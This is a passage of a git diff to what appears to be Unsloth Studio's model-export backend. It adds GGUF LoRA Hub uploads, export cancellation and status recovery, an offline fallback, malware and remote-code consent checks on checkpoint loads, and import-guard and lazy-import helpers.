@@ -751,7 +1255,24 @@ class ExportBackend: logger.info(f"Pushing LoRA adapter to Hub: {repo_id}") - if _IS_MLX: + if gguf: + # Upload the locally-built GGUF folder; needs a local save_directory so the + # conversion is not re-run. + if not (output_path and Path(output_path).is_dir()): + return ( + False, + "GGUF LoRA Hub upload requires a local save directory; set one and " + "retry.", + None, + ) + hf_api = HfApi(token = hf_token) + hf_api.create_repo(repo_id, private = private, exist_ok = True) + hf_api.upload_folder( + folder_path = output_path, + repo_id = repo_id, + repo_type = "model", + ) + elif _IS_MLX: with tempfile.TemporaryDirectory() as tmp_dir: self.current_model.save_lora_adapters(tmp_dir) self.current_tokenizer.save_pretrained(tmp_dir) diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py index 20158d1891..aaf48615f0 100644 --- a/studio/backend/core/export/orchestrator.py +++ b/studio/backend/core/export/orchestrator.py @@ -63,6 +63,19 @@ class ExportOrchestrator: self._run_start_seq: int = 0 # True while an export op runs; SSE ends the stream 1s after this flips False. self._export_active: bool = False + # Set by cancel_export(); reset when a new load/export run starts. Lets the + # caller distinguish a user cancel from a genuine subprocess crash. + self._cancel_requested: bool = False + + # Last finished operation, so a client whose blocking POST was cut off by a + # Cloudflare tunnel timeout (524 at ~100s, while the op runs for minutes) can + # poll /api/export/status and still learn the real outcome. Guarded by + # _op_lock. `_op_seq` is a monotonic counter the client uses as a baseline to + # tell "my op finished" (seq grew) from a stale previous result. + self._op_lock = threading.Lock() + self._op_seq: int = 0 + self._active_op_kind: Optional[str] = None + self._last_op: Optional[Dict[str, Any]] = None atexit.register(self._cleanup) logger.info("ExportOrchestrator initialized (subprocess mode)") @@ -119,26 +132,118 @@ class ExportOrchestrator: """True while an export / load / cleanup command is running.""" return self._export_active + def is_worker_alive(self) -> bool: + """True while the persistent export subprocess is running (op or idle).""" + proc = self._proc + return proc is not None and proc.is_alive() + + def was_cancelled(self) -> bool: + """True if the in-flight (or most recent) run was cancelled by the user.""" + return self._cancel_requested + + def _record_op_finished(self, success: bool, message: str, output_path: Optional[str]) -> None: + """Snapshot the just-finished op so status pollers can recover its outcome. + + Called from each op's ``finally`` (with ``_active_op_kind`` still set) BEFORE + ``_export_active`` is cleared, so a status read that observes the op as + inactive is guaranteed to also see this matching result. + """ + with self._op_lock: + self._op_seq += 1 + status = "cancelled" if self._cancel_requested else ("success" if success else "error") + self._last_op = { + "seq": self._op_seq, + "kind": self._active_op_kind, + "status": status, + "output_path": output_path if success else None, + "error": None if success else (message or None), + } + + def get_last_op(self) -> Optional[Dict[str, Any]]: + """Return the last finished op record (or None), for status recovery.""" + with self._op_lock: + return dict(self._last_op) if self._last_op is not None else None + + def get_active_op_kind(self) -> Optional[str]: + """Return the kind of the currently running op (or None when idle).""" + return self._active_op_kind + + def cancel_export(self) -> bool: + """Terminate the in-flight export subprocess immediately. + + An export op holds ``self._lock`` for its whole duration (blocked in + ``_wait_response``), so we deliberately do NOT take the lock here -- we + kill the worker process directly, which unblocks that wait and makes the + in-flight op return a failure the caller surfaces as "cancelled". + + Only the export subprocess is touched; training and inference run in + their own subprocesses and are left untouched. + + Returns True if a live subprocess was terminated, False if none ran. + """ + self._cancel_requested = True + proc = self._proc + if proc is None or not proc.is_alive(): + return False + logger.info( + "Export cancel requested: terminating export subprocess (pid=%s)", + proc.pid, + ) + try: + proc.terminate() + proc.join(timeout = 5) + except Exception: + pass + if proc.is_alive(): + logger.warning("Export subprocess survived terminate, killing") + try: + proc.kill() + proc.join(timeout = 3) + except Exception: + pass + return True + # ------------------------------------------------------------------ # Subprocess lifecycle # ------------------------------------------------------------------ def _spawn_subprocess(self, config: dict) -> None: """Spawn a new export subprocess.""" + # Last-resort recheck for spawns outside an active op. Inside an op, _export_active is set and + # load_checkpoint already rechecked, so a reservation here is an install about to observe + # is_export_active() and abort; raising would kill this export for an install that never proceeds. + from utils.transformers_version import sidecar_swap_in_progress + + from utils.transformers_version import sidecar_swap_kind + + _swap_kind = sidecar_swap_kind() + # Inside an active op an INSTALL reservation is about to abort on the + # is_export_active check, but a lazy REPAIR has no such check and can be + # rebuilding the sidecar right now, so it must always refuse the spawn. + if _swap_kind == "repair" or (_swap_kind is not None and not self._export_active): + from utils.transformers_version import SidecarSwapInProgress + raise SidecarSwapInProgress( + "A transformers installation is replacing the latest sidecar; " + "retry when it completes." + ) from utils.native_path_leases import ( native_path_secret_removed_for_child_start, run_without_native_path_secret, ) + from utils.hf_cache_settings import child_environment_for_spawn, get_hf_cache_paths - from .worker import run_export_process + cache_env = get_hf_cache_paths().child_env({}) - with native_path_secret_removed_for_child_start(): + with ( + child_environment_for_spawn(cache_env), + native_path_secret_removed_for_child_start(), + ): self._cmd_queue = _CTX.Queue() self._resp_queue = _CTX.Queue() self._proc = _CTX.Process( target = run_without_native_path_secret, - args = (run_export_process,), + args = ("core.export.worker", "run_export_process", cache_env), kwargs = { "cmd_queue": self._cmd_queue, "resp_queue": self._resp_queue, @@ -147,13 +252,22 @@ class ExportOrchestrator: daemon = True, ) self._proc.start() + from utils.process_lifetime import adopt_pid + + adopt_pid(self._proc.pid) # bind to parent lifetime (Windows job / sweep) logger.info("Export subprocess started (pid=%s)", self._proc.pid) - def _shutdown_subprocess(self, timeout: float = 10.0) -> None: - """Gracefully shut down the export subprocess.""" + def _shutdown_subprocess(self, timeout: float = 10.0) -> bool: + """Gracefully shut down the export subprocess. + + Returns True only once the worker is confirmed dead. If it survives + terminate/kill (e.g. wedged in an uninterruptible CUDA syscall that outlives + SIGKILL) the live handle is KEPT, not nulled, so is_worker_alive() and the + pre-swap liveness guard can still observe the survivor instead of a cleared + handle and refuse the destructive sidecar swap.""" if self._proc is None or not self._proc.is_alive(): self._proc = None - return + return True self._drain_queue() @@ -183,10 +297,20 @@ class ExportOrchestrator: except Exception: pass + if self._proc is not None and self._proc.is_alive(): + # Survived SIGKILL (uninterruptible syscall): keep the handle so callers + # and the pre-swap guard see a live worker rather than a nulled one. + logger.error( + "Export subprocess still alive after terminate/kill; " + "preserving its handle for the pre-swap liveness check" + ) + return False + self._proc = None self._cmd_queue = None self._resp_queue = None logger.info("Export subprocess shut down") + return True def _cleanup(self): """atexit handler.""" @@ -257,9 +381,10 @@ class ExportOrchestrator: if rtype == "status": message = resp.get("message", "") - logger.info("Export subprocess status: %s", message) - # Surface status in the live log panel for high-level progress. + # One structured export_progress line per phase (consolidated in the + # server log, like training/download progress); also shown live. if message: + logger.info("export_progress", phase = message) self._append_log( { "stream": "status", @@ -301,7 +426,9 @@ class ExportOrchestrator: max_seq_length: int = 2048, load_in_4bit: bool = True, trust_remote_code: bool = False, + approved_remote_code_fingerprint: Optional[str] = None, hf_token: Optional[str] = None, + subject: Optional[str] = None, ) -> Tuple[bool, str]: """Load a checkpoint for export. @@ -312,22 +439,57 @@ class ExportOrchestrator: "max_seq_length": max_seq_length, "load_in_4bit": load_in_4bit, "trust_remote_code": trust_remote_code, + "approved_remote_code_fingerprint": approved_remote_code_fingerprint, + "subject": subject, "hf_token": hf_token, } with self._lock: # Fresh log buffer so the UI sees only this run's output. self.clear_logs() + self._cancel_requested = False + self._active_op_kind = "load_checkpoint" self._export_active = True + op_success, op_message = False, "" try: + # Handshake with the sidecar install route: _export_active is set above, so either this + # recheck refuses BEFORE tearing down the old worker (keeping the loaded checkpoint), or + # the install sees is_export_active() and 409s. The spawn-time recheck stays as a last resort. + from utils.transformers_version import sidecar_swap_in_progress + + if sidecar_swap_in_progress(): + from utils.transformers_version import SidecarSwapInProgress + op_message = ( + "A transformers installation is replacing the latest " + "sidecar; retry when it completes." + ) + raise SidecarSwapInProgress(op_message) # Always kill any existing subprocess and spawn fresh. if self._ensure_subprocess_alive(): - self._shutdown_subprocess() + if self._shutdown_subprocess() is False: + # Survivor still holds GPU memory (a wedged CUDA syscall outliving + # SIGKILL); its handle is kept so is_worker_alive() and the pre-swap + # guard still see it. Do not spawn a second worker over it -- fail so + # the load can retry once it exits. + op_message = ( + "The current export worker did not exit and still holds GPU " + "memory; not starting a new checkpoint load over it. Retry shortly." + ) + return False, op_message elif self._proc is not None: self._shutdown_subprocess(timeout = 2) logger.info("Spawning fresh export subprocess for '%s'", checkpoint_path) - self._spawn_subprocess(sub_config) + try: + self._spawn_subprocess(sub_config) + except Exception: + # The old worker is already gone; a stale current_checkpoint + # would make the Export page claim a loaded checkpoint that + # the next op then fails on with "no subprocess running". + self.current_checkpoint = None + self.is_vision = False + self.is_peft = False + raise try: resp = self._wait_response("loaded") @@ -336,6 +498,7 @@ class ExportOrchestrator: self.current_checkpoint = None self.is_vision = False self.is_peft = False + op_success, op_message = False, str(exc) return False, str(exc) if resp.get("success"): @@ -343,15 +506,19 @@ class ExportOrchestrator: self.is_vision = resp.get("is_vision", False) self.is_peft = resp.get("is_peft", False) logger.info("Checkpoint '%s' loaded in subprocess", checkpoint_path) - return True, resp.get("message", "Loaded successfully") + op_success, op_message = True, resp.get("message", "Loaded successfully") + return True, op_message else: error = resp.get("message", "Failed to load checkpoint") logger.error("Failed to load checkpoint: %s", error) self.current_checkpoint = None self.is_vision = False self.is_peft = False + op_success, op_message = False, error return False, error finally: + self._record_op_finished(op_success, op_message, None) + self._active_op_kind = None self._export_active = False def export_merged_model( @@ -362,6 +529,7 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """Export merged PEFT model.""" return self._run_export( @@ -373,6 +541,7 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, + "compressed_method": compressed_method, }, ) @@ -401,12 +570,13 @@ class ExportOrchestrator: def export_gguf( self, save_directory: str, - quantization_method: str = "Q4_K_M", + quantization_method = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, + imatrix_file = None, ) -> Tuple[bool, str, Optional[str]]: - """Export model in GGUF format.""" + """Export model in GGUF format. `quantization_method` may be a single method or a list.""" return self._run_export( "gguf", { @@ -415,6 +585,7 @@ class ExportOrchestrator: "push_to_hub": push_to_hub, "repo_id": repo_id, "hf_token": hf_token, + "imatrix_file": imatrix_file, }, ) @@ -425,8 +596,10 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + gguf: bool = False, + gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: - """Export LoRA adapter only.""" + """Export LoRA adapter only (optionally also as a GGUF LoRA file).""" return self._run_export( "lora", { @@ -435,6 +608,8 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, + "gguf": gguf, + "gguf_outtype": gguf_outtype, }, ) @@ -453,23 +628,44 @@ class ExportOrchestrator: ) self.clear_logs() + self._cancel_requested = False + self._active_op_kind = f"export_{export_type}" self._export_active = True + op_success, op_message, op_output_path = False, "", None try: + # Handshake with the sidecar install route (see load_checkpoint): _export_active is set + # above, so this recheck refuses before the command is sent, or the install sees the active + # op and 409s. Without it, an install would block in cleanup_memory behind a long export op. + from utils.transformers_version import sidecar_swap_in_progress + + if sidecar_swap_in_progress(): + from utils.transformers_version import SidecarSwapInProgress + op_message = ( + "A transformers installation is replacing the latest " + "sidecar; retry when it completes." + ) + raise SidecarSwapInProgress(op_message) cmd = {"type": "export", "export_type": export_type, **params} try: self._send_cmd(cmd) + # GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them + # all in one op off a single merge, so scale the timeout by the quant count. + _qm = params.get("quantization_method") + _n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1 resp = self._wait_response( f"export_{export_type}_done", - timeout = 3600, # GGUF for 30B+ models can take 30+ min - ) - return ( - resp.get("success", False), - resp.get("message", ""), - resp.get("output_path"), + timeout = 3600 * max(1, _n), ) + op_success = resp.get("success", False) + op_message = resp.get("message", "") + op_output_path = resp.get("output_path") + return op_success, op_message, op_output_path except RuntimeError as exc: + op_success, op_message = False, str(exc) return False, str(exc), None finally: + self._record_op_finished(op_success, op_message, op_output_path) + self._active_op_kind = None self._export_active = False def cleanup_memory(self) -> bool: @@ -481,7 +677,9 @@ class ExportOrchestrator: self.is_peft = False return True + self._active_op_kind = "cleanup" self._export_active = True + success = False try: try: self._send_cmd({"type": "cleanup"}) @@ -498,6 +696,8 @@ class ExportOrchestrator: self.is_peft = False return success finally: + self._record_op_finished(success, "", None) + self._active_op_kind = None self._export_active = False def scan_checkpoints(self, outputs_dir: str = str(outputs_root())) -> List[Tuple[str, list]]: diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py index fb2a893014..9ecfa73eee 100644 --- a/studio/backend/core/export/worker.py +++ b/studio/backend/core/export/worker.py @@ -13,6 +13,7 @@ Pattern follows core/inference/worker.py and core/training/worker.py. from __future__ import annotations +import contextlib import errno import structlog from loggers import get_logger @@ -159,7 +160,7 @@ def _setup_log_capture(resp_queue: Any) -> None: t_err.start() -def _activate_transformers_version(model_name: str) -> None: +def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None: """Activate the correct transformers version BEFORE any ML imports.""" # Ensure backend is on sys.path for utils imports. backend_path = str(Path(__file__).resolve().parent.parent.parent) @@ -168,7 +169,58 @@ def _activate_transformers_version(model_name: str) -> None: from utils.transformers_version import activate_transformers_for_subprocess - activate_transformers_for_subprocess(model_name) + activate_transformers_for_subprocess(model_name, hf_token) + + +@contextlib.contextmanager +def _offline_window_if_unreachable(step = "loading"): + """Force HF offline for a network-touching step (transformers version activation, or the + load preflights that hit the Hub) when the endpoint is unreachable, then restore the prior + env. Keeps a no-network export from hanging on Hub calls that run before load_checkpoint's + own probe, while letting this persistent worker re-decide per operation once back online. + + Post-ML-import (the load preflights), huggingface_hub has already read its in-process + offline constant and cached sessions, so env alone is too late: defer to the loader's + _force_hf_offline (env + in-process flags + session reset). Pre-import (activation), + huggingface_hub is not loaded yet, so setting the env vars suffices for its urllib probes.""" + saved: dict[str, str | None] = {} + force_ctx = None + try: + from utils.transformers_version import _env_offline, hf_endpoint_unreachable + probe_enabled = os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() not in ( + "0", + "false", + "no", + "off", + ) + if not _env_offline() and probe_enabled and hf_endpoint_unreachable(): + logger.warning("Hugging Face endpoint unreachable; %s offline", step) + if "huggingface_hub" in sys.modules: + try: + from unsloth.models.loader_utils import _force_hf_offline + force_ctx = _force_hf_offline() + force_ctx.__enter__() # sets env + in-process flags + resets sessions + except Exception: + force_ctx = None + if force_ctx is None: + for k in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"): + saved[k] = os.environ.get(k) + os.environ[k] = "1" + except Exception: + pass + try: + yield + finally: + if force_ctx is not None: + try: + force_ctx.__exit__(None, None, None) + except Exception: + pass + for k, v in saved.items(): + if v is None: + os.environ.pop(k, None) + else: + os.environ[k] = v def _send_response(resp_queue: Any, response: dict) -> None: @@ -184,14 +236,31 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: checkpoint_path = cmd["checkpoint_path"] max_seq_length = cmd.get("max_seq_length", 2048) load_in_4bit = cmd.get("load_in_4bit", True) + # Latest-sidecar checkpoints load 16-bit here too: bnb 4-bit feeds quantized + # expert weights into unvalidated paths (same flip as the chat worker). + if load_in_4bit: + from utils.transformers_version import latest_tier_active_for + if latest_tier_active_for(checkpoint_path, cmd.get("hf_token")): + load_in_4bit = False + logger.info( + "Latest-transformers sidecar active for %s - forcing a 16-bit " + "export load (4-bit is disabled for brand-new architectures)", + checkpoint_path, + ) trust_remote_code = cmd.get("trust_remote_code", False) # Auto-enable trust_remote_code for NemotronH/Nano models. if not trust_remote_code: + from utils.security.trusted_org import is_trusted_org_repo + _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano") _cp_lower = checkpoint_path.lower() - if any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) and ( - _cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/") + if ( + any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) + and (_cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/")) + # Genuine first-party Hub repo only (not a local/spoof name starting + # with "unsloth/"); authenticated so private repos resolve. + and is_trusted_org_repo(checkpoint_path, hf_token = cmd.get("hf_token")) ): trust_remote_code = True logger.info( @@ -199,6 +268,82 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: checkpoint_path, ) + # Malware gate: a poisoned pickle deserializes on load even with + # trust_remote_code False, so check HF's security scan (metadata-only) every + # load. Local checkpoints have no Hub scan and are skipped in the helper; a + # LoRA merges its base weights, so gate that repo too. + from utils.security import evaluate_file_security, security_load_subdirs + + malware_targets = [checkpoint_path] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. + _base = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token")) + if _base: + malware_targets.append(_base) + except Exception as exc: + logger.debug("Could not resolve LoRA base for malware scan: %s", exc) + _hf_token = cmd.get("hf_token") + for target in dict.fromkeys(malware_targets): + _fs = evaluate_file_security( + target, hf_token = _hf_token, load_subdirs = security_load_subdirs(target, _hf_token) + ) + if _fs.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + "ts": time.time(), + }, + ) + return + + # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH unless + # pinned-approved. A LoRA merges its base model, whose code runs, so gate it too. + if trust_remote_code: + from utils.security import evaluate_remote_code_consent_for_targets + + consent_targets = [checkpoint_path] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a local or remote adapter's base so its base repo is gated too. + base_model = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token")) + if base_model: + consent_targets.append(base_model) + except Exception as exc: + logger.debug("Could not resolve LoRA base for consent scan: %s", exc) + # Scan adapter + base as one combined unit, pinned by a single fingerprint. + _rc = evaluate_remote_code_consent_for_targets( + consent_targets, + hf_token = cmd.get("hf_token"), + trust_remote_code = True, + approved_fingerprint = cmd.get("approved_remote_code_fingerprint"), + subject = cmd.get("subject"), + ) + if _rc.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": ( + f"Checkpoint '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review and " + f"approve it to proceed." + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + "ts": time.time(), + }, + ) + return + try: _send_response( resp_queue, @@ -214,6 +359,7 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: max_seq_length = max_seq_length, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + hf_token = cmd.get("hf_token"), ) _send_response( @@ -252,6 +398,19 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: # orchestrator spawns a fresh subprocess per checkpoint load, resetting it. _log_forward_gate.set() + # Phase milestone so the heavy export step shows in the server log; the + # merge/save/convert itself only forwards stdout to the live panel. + _phase = { + "merged": f"Exporting merged model ({cmd.get('format_type', '16-bit (FP16)')})...", + "gguf": f"Exporting GGUF ({cmd.get('quantization_method', 'Q4_K_M')})...", + "lora": "Exporting LoRA adapter...", + "base": "Exporting base model...", + }.get(export_type, f"Exporting ({export_type})...") + _send_response( + resp_queue, + {"type": "status", "message": _phase, "ts": time.time()}, + ) + output_path: Any = None try: if export_type == "merged": @@ -262,6 +421,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), + compressed_method = cmd.get("compressed_method"), ) elif export_type == "base": success, message, output_path = backend.export_base_model( @@ -279,6 +439,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: push_to_hub = cmd.get("push_to_hub", False), repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), + imatrix_file = cmd.get("imatrix_file"), ) elif export_type == "lora": success, message, output_path = backend.export_lora_adapter( @@ -287,6 +448,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), + gguf = cmd.get("gguf", False), + gguf_outtype = cmd.get("gguf_outtype", "q8_0"), ) else: success, message = False, f"Unknown export type: {export_type}" @@ -376,19 +539,20 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None checkpoint_path = config["checkpoint_path"] # ── 1. Activate correct transformers version BEFORE any ML imports ── - try: - _activate_transformers_version(checkpoint_path) - except Exception as exc: - _send_response( - resp_queue, - { - "type": "error", - "error": f"Failed to activate transformers version: {exc}", - "stack": traceback.format_exc(limit = 20), - "ts": time.time(), - }, - ) - return + with _offline_window_if_unreachable(step = "activating transformers"): + try: + _activate_transformers_version(checkpoint_path, config.get("hf_token") or None) + except Exception as exc: + _send_response( + resp_queue, + { + "type": "error", + "error": f"Failed to activate transformers version: {exc}", + "stack": traceback.format_exc(limit = 20), + "ts": time.time(), + }, + ) + return # ── 1b. Check Triton on Windows (must precede import torch) ── if sys.platform == "win32": @@ -424,6 +588,11 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None if backend_path not in sys.path: sys.path.insert(0, backend_path) + # Recover from any namespace-package shadow before importing Unsloth. + from core.import_guards import ensure_real_packages + + ensure_real_packages("unsloth_zoo", "unsloth") + from core.export.export import ExportBackend import transformers @@ -446,7 +615,10 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None try: backend = ExportBackend() - _handle_load(backend, config, resp_queue) + # Offline window covers the load preflights (malware/consent scans hit the Hub) + # before load_checkpoint runs its own probe; restored after so later loads re-decide. + with _offline_window_if_unreachable(): + _handle_load(backend, config, resp_queue) except Exception as exc: _send_response( @@ -482,7 +654,9 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None if cmd_type == "load": # Load a new checkpoint, reusing this subprocess. backend.cleanup_memory() - _handle_load(backend, cmd, resp_queue) + # Offline window also covers this load's Hub preflights (re-probed per load). + with _offline_window_if_unreachable(): + _handle_load(backend, cmd, resp_queue) elif cmd_type == "export": _handle_export(backend, cmd, resp_queue) diff --git a/studio/backend/core/import_guards.py b/studio/backend/core/import_guards.py new file mode 100644 index 0000000000..5b85a96cd2 --- /dev/null +++ b/studio/backend/core/import_guards.py @@ -0,0 +1,53 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Recover `unsloth`/`unsloth_zoo` from a namespace-package shadow. Stdlib-only.""" + +from __future__ import annotations + +import os +import sys + + +def ensure_real_packages(*names: str) -> None: + """Drop sys.path entries where a bare `/` dir (no __init__.py) shadows + the installed package as a namespace, import the real packages, restore + sys.path. No-op without a shadow. Pass dependency-first (e.g. "unsloth_zoo", + "unsloth"); imports run dependency-last.""" + import importlib + import importlib.util + + bad: set = set() + shadowed: list = [] + for name in names: + try: + spec = importlib.util.find_spec(name) + except (ImportError, ValueError, AttributeError): + spec = None + # real package -> spec.origin is its __init__; namespace shadow -> None/"namespace" + if spec is None or spec.origin not in (None, "namespace"): + continue + dirs = {os.path.realpath(d) for d in (spec.submodule_search_locations or [])} + if not dirs: + continue + shadowed.append(name) + for entry in sys.path: + pkg = os.path.join(entry or os.getcwd(), name) + if os.path.realpath(pkg) in dirs and not os.path.isfile( + os.path.join(pkg, "__init__.py") + ): + bad.add(entry) + if not bad: + return + saved = list(sys.path) + sys.path[:] = [e for e in sys.path if e not in bad] + for name in shadowed: + for cached in [m for m in list(sys.modules) if m == name or m.startswith(name + ".")]: + del sys.modules[cached] + try: + importlib.invalidate_caches() + # import unsloth before unsloth_zoo: unsloth.__init__ runs GPU/bnb fixes zoo relies on + for name in reversed(names): + importlib.import_module(name) + finally: + sys.path[:] = saved diff --git a/studio/backend/core/inference/__init__.py b/studio/backend/core/inference/__init__.py index 2faf70bb79..1491dfa749 100644 --- a/studio/backend/core/inference/__init__.py +++ b/studio/backend/core/inference/__init__.py @@ -7,13 +7,16 @@ Inference submodule - backend for model loading and generation. The default get_inference_backend() returns an InferenceOrchestrator that delegates to a subprocess. The original InferenceBackend runs inside the subprocess and can be imported directly from .inference when needed. + +Public names are resolved lazily (PEP 562): importing this package -- or a +dependency-light leaf like ``core.inference.chat_eos`` -- must NOT eagerly pull +the orchestrator / llama_cpp import chain (httpx, subprocess plumbing, the ML +backend and its Unsloth dependencies). Those load only when a public name is +actually accessed, so standalone helpers stay unit-testable without the full +inference stack. """ -from .orchestrator import InferenceOrchestrator, get_inference_backend -from .llama_cpp import LlamaCppBackend - -# Expose InferenceOrchestrator as InferenceBackend for backward compat. -InferenceBackend = InferenceOrchestrator +from typing import TYPE_CHECKING __all__ = [ "InferenceBackend", @@ -21,3 +24,33 @@ __all__ = [ "get_inference_backend", "LlamaCppBackend", ] + +# name -> (submodule, attribute); InferenceBackend aliases InferenceOrchestrator. +_LAZY_ATTRS = { + "InferenceOrchestrator": ("orchestrator", "InferenceOrchestrator"), + "InferenceBackend": ("orchestrator", "InferenceOrchestrator"), + "get_inference_backend": ("orchestrator", "get_inference_backend"), + "LlamaCppBackend": ("llama_cpp", "LlamaCppBackend"), +} + + +def __getattr__(name): + try: + submodule, attr = _LAZY_ATTRS[name] + except KeyError: + raise AttributeError(f"module {__name__!r} has no attribute {name!r}") from None + from importlib import import_module + + value = getattr(import_module(f"{__name__}.{submodule}"), attr) + globals()[name] = value # cache so later access skips __getattr__ + return value + + +def __dir__(): + return sorted(set(globals()) | set(__all__)) + + +if TYPE_CHECKING: # keep static analysers / IDEs aware of the lazy names + from .llama_cpp import LlamaCppBackend + from .orchestrator import InferenceOrchestrator, get_inference_backend + InferenceBackend = InferenceOrchestrator diff --git a/studio/backend/core/inference/_html_to_md.py b/studio/backend/core/inference/_html_to_md.py index e7de4a5312..92471b9866 100644 --- a/studio/backend/core/inference/_html_to_md.py +++ b/studio/backend/core/inference/_html_to_md.py @@ -7,6 +7,11 @@ Minimal HTML-to-Markdown converter using only the standard library. Replaces the external ``html2text`` (GPL-3.0) dependency with a ~250-line ``html.parser.HTMLParser`` subclass. Covers headings, links, bold/italic, lists, tables, blockquotes, code blocks, and entity decoding. + +``main_content=True`` also applies a readability-style heuristic: scope +conversion to the page's ``
`` (else ``
``) subtree when it +carries substantial text, and strip known boilerplate fragments (skip-links, +error placeholders, session banners, cookie prompts) from the result. """ from __future__ import annotations @@ -27,8 +32,138 @@ _SKIP_TAGS = frozenset( "math", "nav", "footer", + # Never-rendered / form-chrome elements, not page content. + "template", + "dialog", + "button", + "select", + "datalist", } ) +#